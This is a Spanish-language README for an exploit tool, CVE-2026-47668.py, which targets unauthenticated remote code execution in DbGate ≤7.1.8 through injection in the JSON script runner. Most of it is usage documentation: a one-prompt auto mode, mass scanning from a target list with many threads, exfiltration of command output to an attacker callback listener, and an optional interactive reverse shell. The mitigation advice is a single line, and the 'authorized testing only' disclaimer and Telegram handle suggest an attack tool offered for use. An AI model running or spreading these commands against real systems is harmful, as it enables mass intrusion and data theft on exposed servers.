
Ejecución remota de código no autenticada en DbGate
RCE no autenticado en el ejecutor de scripts JSON de DbGate (dbgate-serve ≤ 7.1.8).
Herramienta de evaluación: CVE-2026-47668.py — solo para pruebas autorizadas.
| CVE | CVE-2026-47668 |
| Severidad | Crítico |
| Producto | DbGate / dbgate-serve |
| Afectado | ≤ 7.1.8 |
| Corregido | ≥ 7.1.9 |
| CVSS 3.1 | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| CWE | CWE-20, CWE-94, CWE-1188 |
Título: Ejecución Remota de Código no Autenticado en DbGate a través del Ejecutor de Scripts JSON
Los campos controlados por el usuario (functionName, variableName) se incrustan en JavaScript generado dinámicamente sin la validación adecuada. Un atacante puede ejecutar código arbitrario en el proceso hijo del ejecutor de Node.js.
| Elemento | Detalle |
|---|---|
| Endpoint | POST /runners/start |
| Auth | Requiere Bearer; el token puede obtenerse mediante POST /auth/login en implementaciones anónimas o predeterminadas |
| Inyección | functionName, variableName en comandos JSON assign |
| Impacto | Ejecución de comandos del sistema como el usuario del proceso DbGate |
Mitigación: Actualice a 7.1.9+. Restrinja el acceso a la red, desactive la autenticación anónima, rote las credenciales, revise los registros en busca de actividad sospechosa en /runners/start.
Telegram: @KNxploited
CVE-2026-47668.py verifica y valida la explotación contra instancias de DbGate que tiene autorización para probar.
Modos
| Modo | Reverse shell | Descripción |
|---|---|---|
| AUTO | No | Un solo aviso; token + callback HTTP + valores predeterminados |
| CLI | Opcional | Control total mediante banderas |
| Mass | No | Escaneo desde targets.txt |
--reverse-shell | Sí | Verificación TCP opcional (solo un objetivo) |
Resultados
| Resultado | Significado |
|---|---|
| FAIL | Inalcanzable, autenticación fallida o no vulnerable |
| VULN | El ejecutor aceptó solo la sonda |
| DISPATCH | Carga útil enviada; sin salida confirmada |
| EXFIL | Callback recibido — salida de comando confirmada |
| REVSH | TCP inverso conectado (solo modo opcional) |
Directorio de salida: Nx/ (vuln, dispatch, exfil, failed, list_report, archivos por objetivo en exfil/)
pip install -r requirements.txt
Requiere: Python 3.9+, aiohttp, colorama
python CVE-2026-47668.py
| Entrada en el aviso | Ejemplo |
|---|---|
| URL única | http://192.168.1.10:3000 |
| URL + comando | http://192.168.1.10:3000|id |
| Lista de objetivos | targets.txt |
Cada ejecución CLI debe incluir --cli.
python CVE-2026-47668.py --cli [opciones]
-u / --url — URL base del objetivo
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000
--cmd / --command — comando del shell (predeterminado: id)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --cmd "id"
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --cmd "uname -a"
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --cmd "ls -la /tmp"
--check-only — solo sonda de vulnerabilidad (sin comando)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --check-only
--vector — vector de inyección: functionName | variableName | both
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --vector both --cmd id
--port — puerto predeterminado cuando la URL no tiene puerto (predeterminado: 3000)
python CVE-2026-47668.py --cli -u http://192.168.1.10 --port 3000 --cmd id
--token — usar token Bearer existente
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --token "eyJhbGciOi..." --cmd id
--login-json — cuerpo de inicio de sesión personalizado (predeterminado: {"amoid":"none"})
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --login-json "{\"amoid\":\"none\"}" --cmd id
--timeout — tiempo de espera HTTP en segundos
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --timeout 20 --cmd id
--secure — verificar certificados TLS
python CVE-2026-47668.py --cli -u https://dbgate.example.com:3000 --secure --cmd id
--cmd)--callback-host — IP/nombre de host que el objetivo usará para alcanzar su listener
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --callback-host 192.168.1.5 --cmd id
--listen-host — enlace local para el listener HTTP (predeterminado: 0.0.0.0)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --listen-host 0.0.0.0 --cmd id
--listen-port — puerto de exfiltración HTTP (predeterminado: 8888)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --listen-port 8888 --cmd id
-c / --callback — URL de callback externa (deshabilita el listener incorporado)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 -c http://192.168.1.5:9999/ --cmd id
--wait-exfil — segundos de espera para callback (objetivo único, predeterminado: 8)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --wait-exfil 15 --cmd id
--no-b64 — enviar salida sin codificación base64
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --no-b64 --cmd id
--async-exec — exec asíncrono en lugar de execSync
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --async-exec --cmd id
-f / --file — archivo de lista de objetivos
python CVE-2026-47668.py --cli -f targets.txt --cmd id
-t / --threads — trabajadores concurrentes (predeterminado: 30)
python CVE-2026-47668.py --cli -f targets.txt --cmd id -t 50
--mass-wait-exfil — espera de callback por objetivo en modo masivo (predeterminado: 8)
python CVE-2026-47668.py --cli -f targets.txt --cmd id --mass-wait-exfil 12
Masivo + puerto predeterminado personalizado
python CVE-2026-47668.py --cli -f targets.txt --port 3000 --cmd "id"
No es necesario para pruebas normales. Use exfiltración HTTP (--cmd) como prueba.
--reverse-shell — el objetivo se conecta a LHOST:LPORT (omitir valor = IP LAN + puerto 4444)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444
--revsh-port — puerto cuando --reverse-shell no tiene :port
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5 --revsh-port 4444
--revsh-bind — dirección de escucha local
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444 --revsh-bind 0.0.0.0
--wait-revsh — esperar TCP (predeterminado: 15)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444 --wait-revsh 20
--revsh-interactive — retransmisión básica stdin/stdout después de la conexión
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444 --revsh-interactive